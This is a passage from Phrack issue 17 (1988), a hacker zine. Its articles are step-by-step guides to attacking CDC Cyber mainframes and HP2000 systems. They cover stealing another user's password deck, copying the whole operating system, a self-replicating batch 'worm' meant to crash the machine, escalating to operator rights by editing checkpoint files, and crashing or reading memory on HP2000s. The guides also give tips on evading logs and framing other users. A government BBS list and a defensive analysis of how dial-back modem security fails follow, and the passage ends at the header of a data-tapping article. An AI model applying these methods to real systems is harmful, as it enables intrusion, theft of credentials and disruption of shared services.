JOB card: the job name (first 4 characters)

User Card: Some user number and password ‑‑ varies with site EOR card: 7‑8‑9 are punched

COPYEI INPUT,filename: This copies everything following the EOR mark to the filename in this account.

EOR Card: 7‑8‑9 are punched.

Then DO NOT put an EOF card at the end of your job.

Big surprise for the job following yours: his entire punch deck, with, of course, his user number and password, will be copied to your account. This is because the last card in YOUR deck is the end‑of‑record, which indicates the program's data is coming next, and that's the next person's punch deck, all the way up to ‑his‑ EOF card. The COPYEI will make sure to skip those pesky record marks, too.

I think you can imagine the rest, it ain't hard.

Hacking With Telex

When CDC added timeshare to the punch‑card batch‑job designed Cyber machines, they made two types of access to the system: Batch and Telex. Batch is a punch‑card deck, typically, and is run whenever the operator feels like it. Inside the system, it is given ultra low priority and is squeezed in whenever. It's a "batch" of things to do, with a start and end.

Telex is another matter. It's the timeshare system, and supports up to, oh, 60 terminals. Depends on the system; the more RAM, the more swapping area (if you're lucky enough to have that), the more terminals can be supported before the whole system becomes slug‑like.

Telex is handled as a weird "batch" file where the system doesn't know how much it'll have to do, or where it'll end, but executes commands as you type them in. A real kludge.

Because the people running on a CRT expect some sort of response, they're given higher priority. This leads to "Telex thrashing" on heavily loaded CDC systems; only the Telex users get anywhere, and they sit and fight over the machine's resources.

The poor dorks with the punch card decks never get into the machine, because all the Telex users are getting the priority and the CPU. (So DON'T use punch cards.)

Another good tip: if you are REQUIRED to use punch cards, then go type in your program on a CRT, and drop it to the automatic punch. Sure saves trying to correct those typos on cards..

When you're running under Telex, you're part of one of several "jobs" inside the system. Generally there's "TELEX," something to run the line printer, something to run the card reader, the mag tape drivers (named "MAGNET") and maybe a few others floating around. There's limited space inside a Cyber.. would you believe 128K 60‑bit words?.. so there's a limited number of jobs that can fit. CDC put all their effort into "job scheduling" to make the best of what they had.

You can issue a status command to see all jobs running; it's educational.

Anyway, the CDC machines were originally designed to run card jobs with lots of magtape access. You know, like IRS stuff. So they never thought a job could "interrupt," like pressing BREAK on a CRT, because card jobs can't. This gives great possibilities.

Like:

Grabbing a Copy Of The System

For instance. Go into BATCH mode from Telex, and do a Fortran compile. While in that, press BREAK. You'll get a "Continue?" verification prompt. Say no, you'd like to stop.

Now go list your local files. Whups, there's a new BIG one there. In fact, it's a copy of the ENTIRE system you're running on ‑‑ PPU code, CPU code, ALL compilers, the whole shebang! Go examine this local file; you'll see the whole bloody works there, mate, ready to play with.

Of course, you're set up to drop this to tape or disk at your leisure, right?

This works because the people at CDC never thought that a Fortran compile could be interrupted, because they always thought it would be running off cards. So they left the System local to the job until the compile was done. Interrupt the compile, it stays local.

Warning: When you do ANYTHING a copy of your current batch process shows up on the operator console. Typically the operators are reading Penthouse and don't care, and anyway the display flickers by so fast it's hard to see. But if you copy the whole system, it takes awhile, and they get a blow‑by‑blow description of what's being copied. ("Hey, why is this %^&$^ on terminal 29 copying the PPU code?") I got nailed once this way; I played dumb and they let me go. ("I thought it was a data file from my program").

Staying "Rolled In"

When the people at CDC designed the job scheduler, they made several "queues." "Queues" are lines.

There's:

1. Input Queue. Your job hasn't even gotten in yet. It is standing outside, on disk, waiting.

2. Executing Queue. Your job is currently memory resident and is being executed, although other jobs currently in memory are competing for the machine as well. At least you're in memory.

3. Timed/Event Rollout Queue: Your job is waiting for something, usually a magtape. Can also be waiting for a given time. Yes, this means you can put a delayed effect job into the system. Ha, ha. You are on disk at this point.

4. Rollout Queue: Your job is waiting its turn to execute. You're out on disk right now doing nothing.

Anyway, let's say you've got a big Pascal compile. First, ALWAYS RUN FROM TELEX (means, off a CRT). Never use cards. If you use cards you're automatically going to be low man on the priority schedule, because the CPU doesn't *have* to get back to you soon. Who of us has time to waste?

Okay, do the compile. Then do a STATUS on your job from another machine. Typically you'll be left inside the CPU (EXECUTE) for 10 seconds, where you'll share the actual CPU with about 10‑16 other jobs. Then you'll be rolled‑out (ROLLOUT), at which time you're phucked; you have to wait for your priority to climb back up before it'll execute some more of your job. This can take several minutes on a deeply loaded system.

(All jobs have a given priority level, which usually increments every 10 sec or so, until they start executing).

Okay, do this. Press BREAK, then at the "Continue?" prompt, say yes. What happened? Telex had to "roll your job in" to process the BREAK! So you get another free 10 seconds of CPU ‑‑ which can get a lot done.

If you sit and hit BREAK ‑ Y <return> every 10 sec or so during a really big job, you will just fly through it. Of course, everyone else will be sitting and staring at their screen, doing nothing, because you've got the computer.

If you're at a school with a Cyber, this is how to get your homework done at high speed.

Macro Library

If you have a typical CDC site, they won't give you access to the "Macro library." This is a set of CPU calls to do various things ‑‑ open files, do directory commands, and whatnot. They will be too terrified of "some hacker." Reality: The dimbulbs in power don't want to give up ANY of their power to ANYONE. You can't really do that much more with the Macro library, which gives assembly language access to the computer, than you can with batch commands.. except what you do leaves lots less tracks. They REALLY have to dig to find out what your program did if you use Macro calls.. they have to go to PPU port logs, which is needle in a haystack sort of stuff, vs. batch file logs, which are real obvious.

Worry not. Find someone at Arizona State or Minnesota U. that's cool, and get them to send you a tape of the libraries. You'll get all the code you can stand to look at. By the way they have a great poster tape... just copy the posters to the line printer. Takes a long time to print them but it's worth it. (They have all the classic ones.. man on the moon, various playmates, Spock, etc. Some are 7 frames wide!).

With the Macro library, you can do many cool things.

The best is a demon scanner. All CDC user numbers have controlled access for other users to individual files ‑‑ either private, (no access to anyone else), semiprivate (others can read it but a record is made), or public (anyone can diddle your files, no record). What you want is a program (fairly easy to do in Fortran) that counts through user numbers, doing directory commands. If it finds anything, it checks for non semi‑private (so no records are made), then copies it to you.

You'll find the damnedest stuff, I guarantee it. Try to watch some system type signing in and get the digits of his user number, then scan variations beginning with that user #. For instance, if he's a SYS1234, then scan all user #'s beginning with SYS (sysaaaa to sys9999).

Since it's all inside the Fortran program, the only record, other than hard‑to‑examine PPU logs, is a "Run Fortran Program" ("LGO.") on the batch dayfile. If you're not giving the overworked system people reason to suspect that commonplace, every‑day student Fortran compile is anything out of the ordinary, they will never bother to check ‑‑ the amount of data in PPU logs is OVERWHELMING.

But you can get great stuff.

There's a whole cool library of Fortran‑callable routines to do damned near anything a batch command could do in the Minnesota library. Time to get some Minnesota friends ‑‑ like on UseNet. They're real cooperative about sending out tapes, etc.

Generally you'll find old files that some System Type made public one day (so a buddy could copy them) then forgot about. I picked off all sorts of stuff like this. What's great is I just claimed my Fortran programs were hanging into infinite loops ‑‑ this explained the multi‑second CPU execution times. Since there wasn't any readily available record of what I was up to, they believed it. Besides, how many idiot users really DO hang into loops? Lots. Hide in numbers. I got Chess 4.2 this way ‑‑ a championship Chess program ‑and lots of other stuff. The whole games library, for instance, which was blocked from access to mere users but not to sysfolk.

Again, they *can* track this down if you make yourself obnoxious (it's going to be pretty obvious what you're doing if there's a CAT: SYSAAAA CAT: SYSAAAB CAT: SYSAAAC .. etc. on your PPU port log) so do this on someone else's user number.

RJE Status Checks

Lots of stupid CDC installations.. well, that doesn't narrow the field much.. have Remote Job Entry stations. Generally at universities they let some poor student run these at low pay.

What's funny is these RJE's can do a status on the jobs in the system, and the system screeches to a halt while the status is performed. It gets top priority.

So, if you want to incite a little rebellion, just sit at your RJE and do status requests over and over. The system will be even slower than usual.

The Worm

Warning: This is pretty drastic. It goes past mere self‑defense in getting enough priority to get your homework done, or a little harmless exploration inside your system, to trying to drop the whole shebang.

It works, too.

You can submit batch jobs to the system, just as if you'd run them through the punchcard reader, using the SUBMIT command. You set up a data file, then do SUBMIT datafile. It runs separate from you.

Now, let's say we set up a datafile named WORM. It's a batch file. It looks like this:

JOB

USER,blah (whatever ‑‑ a user number you want crucified) GET,WORM; get a copy of WORM

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

SUBMIT,WORM.; send it to system

(16 times)

(end of file)

Now, you SUBMIT WORM. What happens? Worm makes 16 copies of itself and submits those. Those in turn make 16 copies of themselves (now we're up to 256) and submit those. Next pass is 4096. Then 65536. Then...

Now, if you're really good, you'll put on your "job card" a request for high priority. How? Tell the system you need very little memory and very little CPU time (which is true, Submit takes almost nothing at all). The scheduler "squeezes" in little jobs between all the big ones everyone loves to run, and gives ultra‑priority to really tiny jobs.

What happens is the system submits itself to death. Sooner or later the input queue overflows .. there's only so much space .. and the system falls apart.

This is a particularly gruesome thing to do to a system, because if the guy at the console (count on it) tries the usual startup, there will still be copies of WORM in the input queue. First one of those gets loose, the system drops again. With any luck the system will go up and down for several hours before someone with several connected brain cells arrives at the operator console and coldstarts the system.

If you've got a whole room full of computer twits, all with their hair tied behind them with a rubber band into a ponytail, busily running their Pascal and "C" compiles, you're in for a good time. One second they will all be printing ‑‑ the printers will be going weep‑weep across the paper. Next second, after you run, they will stop. And they will stay stopped. If you've done it right they can't get even get a status. Ha, ha.

The faster the CPU, the faster it will run itself into the ground.

CDC claims there is a limit on the number of jobs a user number can have in the system. As usual they blew it and this limit doesn't exist. Anyway, it's the input queue overflow that kills things, and you can get to the input queue without the # of jobs validation check.

Bear in mind that *anything* in that batch file is going to get repeated ten zillion times at the operator console as the little jobs fly by by the thousands. So be sure to include some charming messages, like:

job,blah

user,blah

* eat me!

get,worm

submit,worm .. etc.

There will now be thousands of little "eat me!"'s scrolling across the console as fast as the console PPU can print them.

Generally at this point the operator will have his blood pressure really spraying out his ears.

Rest assured they will move heaven and earth to find you. This includes past dayfiles, user logs, etc. So be clean. Remember, "Revenge is a dish best served cold." If you're mad at them, and they know it, wait a year or so, until they are scratching their heads, wondering who hates them this much.

Also: make sure you don't take down a really important job someone else is doing, okay? Like, no medical databases, and so forth.

Now, for a really deft touch, submit a timed/event job. This "blocks" the job for awhile, until a given time is reached. Then, when you're far, far away, with a great alibi, the job restarts, the system falls apart, and you're clear. If you do the timed/event rollout with a Fortran program macro call, it won't even show up on the log.

(Remember that the System Folk will eventually realize, in their little minds, what you've done. It may take them a year or two though).

CHECKPOINT / RESTART

I've saved the best for last.

CDC's programmers supplied two utilities, called CheckPoint and Restart, primarily because their computers kept crashing before they would finish anything. What Checkpoint does is make a COMPLETE copy of what you're doing all local files, all of memory, etc. ‑‑ into a file, usually on a magtape. Then Restart "restarts" from that point.

So, when you're running a 12 hour computer job, you sprinkle checkpoints throughout, and if the CDC drops, you can restart from your last CKP. It's like a tape backup of a hard disk. This way, you only lose the work done on your data between the last checkpoint and now, rather than the whole 12 hours. Look, this is real important on jobs that take days ‑‑ check out your local IRS for details..

Now what's damned funny is if you look closely at the file Checkpoint generates, you will find a copy of your user validations, which tell everything about you to the system, along with the user files, memory, etc. You'll have to do a little digging in hex to find the numbers, but they'll match up nicely with the display you of your user validations from that batch command.

Now, let's say you CKP,that makes the CKP file. Then run a little FORTRAN program to edit the validations that are inside that CKP‑generated file. Then you RESTART from it. Congratulations. You're a self made man. You can do whatever you want to do ‑ set your priority level to top, grab the line printer as your personal printer, kick other jobs off the system (it's more subtle to set their priority to zilch so they never execute), etc. etc. You're the operator.

This is really the time to be a CDC whiz and know all sorts of dark, devious things to do. I'd have a list of user numbers handy that have files you'd like made public access, so you can go in and superzap them (then peruse them later from other signons), and so forth.

There's some gotchas in here.. for instance, CKP must be run as part of a batch file out of Telex. But you can work around them now that you know the people at CDC made RESTART alter your user validations.

It makes sense in a way. If you're trying to restart a job you need the same priority, memory, and access you had when trying to run it before.

Conclusion

There you have it, the secrets of hacking the Cyber.

They've come out of several years at a college with one CDC machine, which I will identify as being somewhere East. They worked when I left; while CDC may have patched some of them, I doubt it. They're not real fast on updates to their operating system.

How to Hack HP2000's

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 6 of 12 : How to Hack HP2000's

How to Hack an HP 2000

By: ** Grey Sorcerer

Okay, so you've read the HP‑2000 basic guides, and know your way around. I will not repeat all that.

There's two or three things I've found that allow you through HP 2000 security.

1. When you log in, a file called HELLO on the user number Z999 is run. A lot of time this file is used to deny you access. Want in? Well, it's just a BASIC program, and an be BREAKed.. but, usually the first thing they do in that program is turn Breaks (interrupts) off by the BRK(0) function. However, if you log in like this:

HELLO‑D345,PASS (return) (break)

With the break nearly instantly after the return, a lot of time, you'll abort the HELLO program, and be home free.

2. If you can create a "bad file", which takes some doing, then anytime you try to CSAVE this file (compile and save), the system will quickly fade into a hard crash.

3. How to make a bad file and other goodies:

The most deadly hole in security in the HP2000 is the "two terminal" method. You've got to understand buffers to see how it works. When you OPEN a file, or ASSIGN it (same thing), you get 256 bytes of the file ‑‑ the first 256. When you need anymore, you get 256 more. They are brought in off the disk in discrete chunks. They are stored in "buffers."

So. Save a bunch of junk to disk ‑‑ programs, data, whatever. Then once your user number is full, delete all of it. The effect is to leave the raw jumbled data on disk.

Pick a time when the system is REAL busy, then:

1. Have terminal #1 running a program that looks for a file to exist (with the ASSIGN) statement as quickly as it can loop. If it finds the file there, it goes to the very end of the file, and starts reading backwards, record by record, looking for data. If it finds data, it lets you know, and stops at an input prompt. It is now running.

2. Have terminal #2 create a really huge data file (OPEN‑FILE, 3000) or however it goes.

What happens is terminal #2's command starts zeroing all the sectors of the file, starting at file start. But it only gets so far before someone else needs the processor, and kicks #2 out. The zeroing stops for a sec. Terminal #1 gets in, finds the file there, and reads to the end. What's there? Old trash on disk. (Which can be mighty damned interesting by the way ‑‑ did you know HP uses a discrete mark to indicate end‑of‑buffer? You've just maybe got yourself a buffer that is as deep as system memory, and if you're clever, you can peek or poke anywhere in memory. If so, keep it, it is pure gold).

But. Back to the action.

3. Terminal #2 completes the OPEN. He now deletes the file. This leaves Terminal #1 with a buffer full of data waiting to be dumped back to disk at that file's old disk location.

4. Terminal #2 now saves a load of program files, as many as are required to fill up the area that was taken up by the deleted big file.

5. You let Terminal #1 past the input prompt, and it writes its buffer to disk. This promptly overlays some program just stored there. Result: "bad program." HPs are designed with a syntax checker and store programs in token; a "bad program" is one that the tokens are screwed up in. Since HP assumes that if a program is THERE, it passed the syntax check, it must be okay... it's in for big problems. For a quick thrill, just CSAVE it.. system tries to semi‑compile bad code, and drops.

Really, the classier thing to do with this is to use the "bottomless buffer" to look through your system and change what you don't like.. maybe the password to A000? Write some HP code, look around memory, have a good time. It can be done.

Accessing Government Computers

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 7 of 12 : Accessing Government Computers

++++++++++++++++++++

+ ACCESSING GOVERNMENT COMPUTERS +

+ (LEGALLY!) +

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+ Written by The Sorceress + + (The Far Side 415/471‑1138) +

++++++++++++++++++++

Comment: I came across this article in Computer Shopper (Sept. 1987) and it talked about citizens access government computers since we do pay for them with our taxpayers monies. Since then, I have had friends and gone on a few myself and the databases are full of information for accessing. One thing, you usually have to call the sysop for access and give him your real name, address and the like. They call you back and verify your existence. Just a word of warning; crashing a BBS is a crime, so I wouldn't fool with these since they are government based.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

National Bureau of Standards ‑

Microcomputers Electronic Information Exchange.

Sysops: Ted Landberg & Lisa Carnahan

Voice: 301‑975‑3359

Data: 301‑948‑5717 300/1200/2400

This BBS is operated by the Institute for Computer Sciences and Technology which is one of four technical organizations within the National Bureau of Standards. This board also contains information on the acquisition, management, security, and use of micro computers.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Census Bureau ‑

Census Microcomputer and Office Technology Center, Room 1065 FB‑3 Washington, D.C. (Suitland, MD)

Sysop: Nevins Frankel

Voice: 301‑763‑4494

Data: 301‑763‑4576 300/1200

The purpose of this BBS is to allow users to access the following: Census Microcomputer and office technology information center bulletins and catalogues, software and hardware evaluations, Hardware and software inventories, Census computer club library, Public Domain software, etc.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Census Bureau ‑

Census Microcomputer and Office Technology Center, Personnel Division, Washington DC.

Voice: 301‑763‑4494

Data: 301‑763‑4574 300/1200/2400

The purpose of this board is to display Census Bureau vacancies from entry level to senior management.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Department of Commerce ‑

Office of the Under Secretary for Economic Affairs, Office of Business Analysis, Economic Bulletin Board.

Sysop: Ken Rogers

Voice: 202‑377‑0433

Data: 202‑377‑3870 300/1200

This is another well run BBS with in‑depth news about the Department of Commerce Economic Affairs Agencies including current press releases and report summaries.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

COE BBS ‑

Manpower and Force Management Division, Headquarters, U.S. Army Corps of Engineers, 20 Massachusetts Ave. NW, Washington, DC.

Sysop: Rich Courney

Voice: 202‑272‑1646

Data: 202‑272‑1514 300/1200/2400

The files database was one of the largest they ever seen. Directory 70 has programs for designing masonry and retaining walls using Lotus's Symphony.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

General Services Administration ‑

Information Resources Service Center.

Data: 202‑535‑8054 300 bps

Data: 202‑535‑7661 1200 bps

GSA's Information Resources Service Center provides information on contracts, schedules, policies, and programs. One of the areas that is interesting was the weekly supplement to the consolidated list of debarred, suspended and ineligible contractors.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Budget and Finance Board of the Office of Immigration Naturalization Service.

DO NOT CALL THIS BBS DURING WORKING HOURS.

Sysop: Mike Arnold

Data: 202‑787‑3460 300/1200/2400

The system is devoted to the exchange of information related to budget and financial management in the federal government. It is a 'working' system for the Immigration and Naturalization Service personnel.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Naval Aviation News Computer Information (NANei) ‑

Supported by: Naval Aviation News Magazine, Bldg. 159E, Navy Yard Annex, Washington, DC 20374.

Sysop: Commander Howard Wheeler

Voice: 202‑475‑4407

Data: 202‑475‑1973 300/1200

Available from 5 pm to 8 am. weekdays 5pm Friday to 8 am Monday

This is a large BBS with lots of Navy related information and programs. NANci is for those interested in stories, facts, and historical information related to Naval Aviation.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Federal National Mortgage Association ‑

Sysop: Ken Goosens

Data: 202‑537‑7475

202‑537‑7945 300/1200

This BBS is in transition. Ken Gossens will be running a new BBS at 703‑979‑6360. The BBS maybe become a closed board under the new sysop. This BBS has/had one of largest collections of files for downloading.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The World Bank, Information, Technology and Facilities Department, Office System Division, Washington DC.

Sysop: Ashok Daswani

Voice: 202‑473‑2237

Data: 202‑676‑0920 300/1200

Basically a software exchange BBS, but has other information about the use of microcomputers and software supported by World Bank. IBM product announcements also kept up to date.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

National Oceanic Atmospheric Administration (NOAA), National Meteorological Center.

* You must obtain a password from the SYSOP to log on to this BBS.

Sysop: Vernon Patterson

Voice: 301‑763‑8071

Data: 301‑899‑0825 300 bps

301‑899‑0830 1200 bps

This is one of the most useful databases available on‑line. With it you can access meteorological data collected form 6000 locations throughout the world. It can also display crude, but useful graphic maps of the US illustration temperatures, precipitation and forecasts.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

National Weather Service, US Dept. of Commerce, East Coast Marine Users BBS

* You must obtain a p/w from the SYSOP to logon this BBS.

Sysop: Ross Laporte

Voice: 301‑899‑3296

Data: 301‑454‑8700 300bps

Use this BBS to obtain info about marine weather and nautical info about coastal waterways including topical storm advisories.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NARDAC, Navy Regional Data Automation Center, Norfolk, VA. 23511‑6497

Sysop: Jerry Dew

Voice: 804‑445‑4298

Data: 804‑445‑1627 300 & 1200 bps

A basic Utilitarian system developed to support the informational needs of NARDAC. The Dept. of Defense mag., CHIPS is available in the files section of this BBS. There are also Navy and IBM related articles to read.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Veterans Administration, Info Technology Bulletin Board.

Data: 202‑376‑2184 300/1200 bps

The content of this BBS ranges from job opening listings to information computer security.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dept. of Energy, Office of Civilian Radioactive Waste Management, Infolink.

Sysop: Bruce Birnbaum

Voice: 202‑586‑9707

Data: 202‑586‑9359 300/1200 bps

This BBS has press leases, fact sheets, backgrounders, congressional questions, answers, speeches & testimony, from the Office of Civilian Radioactive Waste Management.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I skipped listing a few of the BBSes in this article if the chances were slim to get on or if the BBS got a bad review. Most of the ones listed seemed to have lot of informative files for downloading and viewing pleasure. This article carried a very strong word of warning about tampering/crashing these since they are run by the govt. and a volunteer Sysop. Since you can get on these legally why not use it?

Dial-Back Modem Security

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 8 of 12 : Dialback Modem Security

In article <906@hoptoad.uucp> gnu@hoptoad.UUCP writes: >Here are the two messages I have archived on the subject...

>[I believe the definitive article in that discussion was by Lauren Weinstein, >vortex!lauren; perhaps he has a copy.

What follows is the original article that started the discussion. I do not know whether it qualifies as the "definitive article" as I think I remember Lauren and I both posted further comments.

Dave

** ARTICLE FOLLOWS **

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An increasingly popular technique for protecting dial‑in ports from the ravages of hackers and other more sinister system penetrators is dial back operation wherein a legitimate user initiates a call to the system he desires to connect with, types in his user ID and perhaps a password, disconnects and waits for the system to call him back at a prearranged number. It is assumed that a penetrator will not be able to specify the dial back number (which is carefully protected), and so even if he is able to guess a user‑name/password pair he cannot penetrate the system because he cannot do anything meaningful except type in a user‑name and password when he is connected to the system. If he has a correct pair it is assumed the worst that could happen is a spurious call to some legitimate user which will do no harm and might even result in a security investigation.

Many installations depend on dial‑back operation of modems for their principle protection against penetration via their dial up ports on the incorrect presumption that there is no way a penetrator could get connected to the modem on the call back call unless he was able to tap directly into the line being called back. Alas, this assumption is not always true compromises in the design of modems and the telephone network unfortunately make it all too possible for a clever penetrator to get connected to the call back call and fool the modem into thinking that it had in fact dialed the legitimate user.

The problem areas are as follows:

Caller control central offices

Many older telephone central office switches implement caller control in which the release of the connection from a calling telephone to a called telephone is exclusively controlled by the originating telephone. This means that if the penetrator simply failed to hang up a call to a modem on such a central office after he typed the legitimate user's user‑name and password, the modem would be unable to hang up the connection.

Almost all modems would simply go on‑hook in this situation and not notice that the connection had not been broken. If the same line was used to dial out on as the call came in on, when the modem went to dial out to call the legitimate user back the it might not notice (there is no standard way of doing so electrically) that the penetrator was still connected on the line. This means that the modem might attempt to dial and then wait for an answerback tone from the far end modem. If the penetrator was kind enough to supply the answerback tone from his modem after he heard the system modem dial, he could make a connection and penetrate the system. Of course some modems incorporate dial tone detectors and ringback detectors and in fact wait for dial tone before dialing, and ringback after dialing but fooling those with a recording of dial tone (or a dial tone generator chip) should pose little problem.

Trying to call out on a ringing line

Some modems are dumb enough to pick up a ringing line and attempt to make a call out on it. This fact could be used by a system penetrator to break dial back security even on joint control or called party control central offices. A penetrator would merely have to dial in on the dial‑out line (which would work even if it was a separate line as long as the penetrator was able to obtain it's number), just as the modem was about to dial out. The same technique of waiting for dialing to complete and then supplying answerback tone could be used ‑ and of course the same technique of supplying dial tone to a modem which waited for it would work here too.

Calling the dial‑out line would work especially well in cases where the software controlling the modem either disabled auto‑answer during the period between dial‑in and dial‑back (and thus allowed the line to ring with no action being taken) or allowed the modem to answer the line (auto‑answer enabled) and paid no attention to whether the line was already connected when it tried to dial out on it.

The ring window

However, even carefully written software can be fooled by the ring window problem. Many central offices actually will connect an incoming call to a line if the line goes off hook just as the call comes in without first having put the 20 hz. ringing voltage on the line to make it ring. The ring voltage in many telephone central offices is supplied asynchronously every 6 seconds to every line on which there is an incoming call that has not been answered, so if an incoming call reaches a line just an instant after the end of the ring period and the line clairvoyantly responds by going off hook it may never see any ring voltage.

This means that a modem that picks up the line to dial out just as our penetrator dials in may not see any ring voltage and may therefore have no way of knowing that it is connected to an incoming call rather than the call originating circuitry of the switch. And even if the switch always rings before connecting an incoming call, most modems have a window just as they are going off hook to originate a call when they will ignore transients (such as ringing voltage) on the assumption that they originate from the going‑off‑hook process. [The author is aware that some central offices reverse battery (the polarity of the voltage on the line) in the answer condition to distinguish it from the originate condition, but as this is by no means universal few if any modems take advantage of the information supplied]

In Summary

It is thus impossible to say with any certainty that when a modem goes off hook and tries to dial out on a line which can accept incoming calls it really is connected to the switch and actually making an outgoing call. And because it is relatively easy for a system penetrator to fool the tone detecting circuitry in a modem into believing that it is seeing dial tone, ringback and so forth until he supplies answerback tone and connects and penetrates system security should not depend on this sort of dial‑back.

Some Recommendations

Dial back using the same line used to dial in is not very secure and cannot be made completely secure with conventional modems. Use of dithered (random) time delays between dial in and dial back combined with allowing the modem to answer during the wait period (with provisions made for recognizing the fact that this wasn't the originated call ‑ perhaps by checking to see if the modem is in originate or answer mode) will substantially reduce this window of vulnerability but nothing can completely eliminate it.

Obviously if one happens to be connected to an older caller control switch, using the same line for dial in and dial out isn't secure at all. It is easy to experimentally determine this, so it ought to be possible to avoid such situations.

Dial back using a separate line (or line and modem) for dialing out is much better, provided that either the dial out line is sterile (not readily traceable by a penetrator to the target system) or that it is a one way line that cannot accept incoming calls at all. Unfortunately the later technique is far superior to the former in most organizations as concealing the telephone number of dial out lines for long periods involves considerable risk. The author has not tried to order a dial out only telephone line, so he is unaware of what special charges might be made for this service or even if it is available.

A final word of warning

In years past it was possible to access telephone company test and verification trunks in some areas of the country by using mf tones from so called "blue boxes". These test trunks connect to special ports on telephone switches that allow a test connection to be made to a line that doesn't disconnect when the line hangs up. These test connections could be used to fool a dial out modem, even one on a dial out only line (since the telephone company needs a way to test it, they usually supply test connections to it even if the customer can't receive calls).

Access to verification and test ports and trunks has been tightened (they are a kind of dial‑a‑wiretap so it ought to be pretty difficult) but in any as in any system there is always the danger that someone, through stupidity or ignorance if not mendacity will allow a system penetrator access to one.

** Some more recent comments **

Since posting this I have had several people suggest use of PBX lines that can dial out but not be dialed into or outward WATS lines that also cannot be dialed. Several people have also suggested use of call forwarding to forward incoming calls on the dial out line to the security office. [This may not work too well in areas served by certain ESS's which ring the number from which calls are being forwarded once anyway in case someone forgot to cancel forwarding. Forwarding is also subject to being cancelled at random times by central office software reboots]

And since posting this I actually tried making some measurements of how wide the incoming call window is for the modems we use for dial in at CRDS. It appears to be at least 2‑3 seconds for US Robotics Courier 2400 baud modems. I found I could defeat same‑line‑for‑dial‑out dialback quite handily in a few dozen tries no matter what tricks I played with timing and watching modem status in the dial back login software. I eventually concluded that short of reprogramming the micro in the modem to be smarter about monitoring line state, there was little I could do at the login (getty) level to provide much security for same line dialback.

Since it usually took a few tries to break in, it is possible to provide some slight security improvement by sharply limiting the number of unsuccessful callbacks per user per day so that a hacker with only a couple of passwords would have to try over a significant period of time.

Note that dialback on a dedicated dial‑out only line is somewhat secure.

David I. Emery Charles River Data Systems 617‑626‑1102 983 Concord St., Framingham, MA 01701.

uucp: decvax!frog!die

‑‑

David I. Emery Charles River Data Systems

Data Tapping Made Easy

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 9 of 12 : Data‑Tapping Made Easy

‑‑FEATURE ARTICLES AND REVIEWS‑

TAPPING COMPUTER DATA IS EASY, AND CLEARER THAN PHONE CALLS !

BY RIC BLACKMON, SYSOP OF A FED BBS

Aquired by Elric of Imrryr & Lunatic Labs UnLtd

Note from Elric: This file was written by the sysop of a board for computer security people (run on a CoCo), as far as I know the board no longer exists, it was being crashed by hackers too much... (hehe). ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

